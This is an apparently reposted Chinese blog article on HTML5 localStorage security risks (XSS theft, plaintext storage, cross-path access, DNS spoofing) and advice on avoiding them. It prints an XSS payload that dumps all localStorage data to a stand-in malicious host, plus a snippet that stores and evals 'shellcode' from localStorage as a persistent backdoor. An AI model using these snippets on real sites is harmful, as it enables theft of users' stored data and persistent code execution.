[html5]localStorage的原理和HTML5本地存儲安全性

http://zccst.iteye.com/blog/2194344shell

 

HTML5本地存儲的前身就是Cookie,HTML5的本地存儲是使用localStorage對象將WEB數據持久化在本地。相比較而言HTML5本地存儲中每一個域的存儲大小默認是5M,比起Cookie的4K要大的多。並且存儲和讀取數據的代碼極爲簡練: 

Window.localStorage.setItem(key,value);//存儲數據 
Window.localStorage.getItem(key);//讀取數據 
Window.localStorage.removeItem(key);//刪除數據項 
Window.localStorage.clear();//刪除全部數據 

  那麼如今咱們是否能夠簡單的認爲,HTML5存儲已經能夠代替Cookie存儲。而這種新的存儲方式又在實際應用中帶來了哪些新的安全風險。帶着這些疑問咱們來進行下面的討論。 

  (1)、是否能夠代替Cookie 

  瀏覽器使用Cookie進行身份驗證已經好多年,那如今既然localStorage存儲空間那麼大,是否能夠把身份驗證的數據直接移植過來呢。以如今來看,把身份驗證數據使用localStorage進行存儲還不太成熟。咱們知道,一般可使用XSS漏洞來獲取到Cookie,而後用這個Cookie進行身份驗證登陸。後來爲了防止經過XSS獲取Cookie數據,瀏覽器支持了使用HTTPONLY來保護Cookie不被XSS攻擊獲取到。而localStorage存儲沒有對XSS攻擊有任何的抵禦機制。一旦出現XSS漏洞,那麼存儲在localStorage裏的數據就極易被獲取到。 

  若是一個網站存在XSS漏洞,那麼攻擊者注入以下代碼,就能夠獲取使用localStorage存儲在本地的全部信息。 數據庫

Js代碼   收藏代碼
  1. var i = 0;  
  2. var str = "";  
  3. while (localStorage.key(i) != null)  
  4. {  
  5.     var key = localStorage.key(i);   
  6.     str += key + ": " + localStorage.getItem(key);  
  7.     i++;  
  8. }  
  9. document.location="http://your-malicious-site.com?stolen="+ str;  


  攻擊者也能夠簡單的使用localStorage.removeItem(key)和localStorage.clear()對存儲數據進行清空。 

  (2)、不要存儲敏感信息 

  從(1)中知道,從遠程攻擊來看localStorage存儲的數據容易被XSS攻擊獲取,因此不宜把身份驗證信息或敏感信息用localStorage存儲。而從本地攻擊角度來講,從localStorage自身的存儲方式和存儲時效來看也不宜存儲敏感信息。 

  五大瀏覽器如今都已經支持以localStorage方式進行存儲,其中Chrome,Opera,Safari這三款瀏覽器中都有了查看本地存儲的功能模塊。可是不一樣瀏覽器對localStorage存儲方式仍是略有不一樣。如下是五大瀏覽器localStorage存儲方式: 
 
HTML5本地存儲的安全性 

  經過上面的描述能夠看出,除了Opera瀏覽器採用BASE64加密外(BASE64也是能夠輕鬆解密的),其餘瀏覽器均是採用明文存儲數據。 

  另外一方面,在數據存儲的時效上,localStorage並不會像Cookie那樣能夠設置數據存活的時限,只要用戶不主動刪除,localStorage存儲的數據將會永久存在。 

  根據以上對存儲方式和存儲時效的分析,建議不要使用localStorage方式存儲敏感信息,那怕這些信息進行過加密。 

  (3)、嚴格過濾輸入輸出 

  對於本地存儲,爲了方便再次加載數據,經常會把數據存儲在本地。等再此加載的時候,直接從本地讀取數據顯示在網頁上。在某些狀況下,在經過在localStorage存儲中寫入或讀取數據的時候,若是數據沒有通過輸入輸出嚴格過濾,那麼極易可能這些數據被做爲HTML代碼進行解析,從而產生XSS攻擊。 

  Twitter就發生過localStorage XSS漏洞。次漏洞觸發的條件是,在Twitter的我的主頁上執行如下存儲代碼後,每次再打開我的主頁時就會彈出/xss/框。 

  從這段代碼能夠看出,Twitter會使用localStorage方法把一些我的數據存儲到本地,每次加載我的主頁面的時候就會從本地存儲取數據,而後因爲Twitter忽略了對去除數據的嚴格過濾致使存儲的代碼會被看成HMTL編碼執行,進而發生跨站攻擊。 

  Twitter localStorage XSS 漏洞詳細信息能夠查看:http://www.wooyun.org/bugs/ wooyun-2010-03075。雖然Twitter這個漏洞利用起來很是困難,但它再一次告訴咱們本着一切輸入輸出都是有害的原則,要對數據進行嚴格的輸入輸出過濾。 

  (4)、容易遭受跨目錄攻擊 

  localStroage存儲方式不會像Cookie存儲同樣能夠指定域中的路徑,在localStroage存儲方式中沒有域路徑的概念。也就是說,若是一個域下的任意路徑存在XSS漏洞,整個域下存儲的數據,在知道存儲名稱的狀況下,均可以被獲取到。 

  假設下面兩個連接是使用localStorage來存儲數據: 

  用戶xisigr和xhack各自的blog連接雖然屬於同一個域,但卻有不一樣的路徑,一個路徑爲xisigr,另外一個路徑爲xhack。假設xisigr用戶發現本身的路徑下存在存儲型XSS漏洞,那麼就能夠在本身的blog中加入獲取數據代碼,其中核心代碼爲localStorage.getItem(「name」)。xhack用戶並不須要登陸blog,他只要訪問http://h.example.com/xisigr,本地存儲數據就會被獲取到。 

  (5)、容易遭受DNS欺騙攻擊 

  Google在沒有使用HTML5本地存儲前,是使用Google Gears方式來進行本地存儲的,那個時候Google Gears就遭到過DNS欺騙攻擊。Google Gears支持離線存儲,能夠把Gmail,WordPresss這樣網站數據的以SQLite數據庫的形式存儲下來,之後用戶就能夠對存儲的網站數據進行離線讀取或刪除操做。若是攻擊者發動DNS欺騙攻擊,那麼就能夠注入本地數據庫,獲取數據或者留下永久的後門。這樣將會形成對用戶持久的危害。Google Gears所遭受的DNS欺騙攻擊方式在HTML5本地存儲上也是一樣有效的。 

  (6)、惡意代碼棲息的溫牀 

  在第六點中給出「惡意代碼棲息的溫牀」這個小標題有些誇大的效果。其實這裏想說的是HTML5本地存儲在空間上和時間上都將稱爲從此存儲的趨勢,料想「惡意代碼們」天然會大雁南飛轉移棲息到這張溫牀。 

  那麼,何爲HTML5本地存儲的空間和時間呢?空間這裏指的是存儲空間,比起Cookie 4K空間的微小來講,HTML5的localStroage方法默認就可使瀏覽器存儲5M空間能夠說是博大,而Safari瀏覽器能夠支持到500M更加讓HTML5存儲霸氣外露。時間上,隨着HTML5技術日漸成熟,除了各大瀏覽器廠商爭先在本身的產品中支持HTML5外,一些大應用軟件廠商也對其信賴有佳。好比2011.11月份Adobe宣佈放棄手機上的FLASH, 而有HTML5全面取而代之。隨着時間的推移,HTML5大腳步前行的速度也會愈來愈快,也會使得用到HTML5本地存儲的應用會愈來愈多。 

  上面從理論上分析了,「惡意代碼棲息的溫牀」的可能性。從實際技術上的可行性也是很是簡單。下面是在本地留後門的核心代碼: 瀏覽器

Js代碼   收藏代碼
    1. // 保存shellcode  
    2. function setShellCodz(codz){  
    3.     window.localStorage.setItem("shellcodz", codz);  
    4. }  
    5.   
    6. // 執行shellcode  
    7. function getShellCodz(){  
    8.     eval(window.localStorage.getItem("shellcodz"));  
    9. }  
    10.   
    11. // 刪除shellcode  
    12. function delShellCodz(){  
    13.     window.localStorage.removeItem("shellcodz");  
    14. }  
相關文章
相關標籤/搜索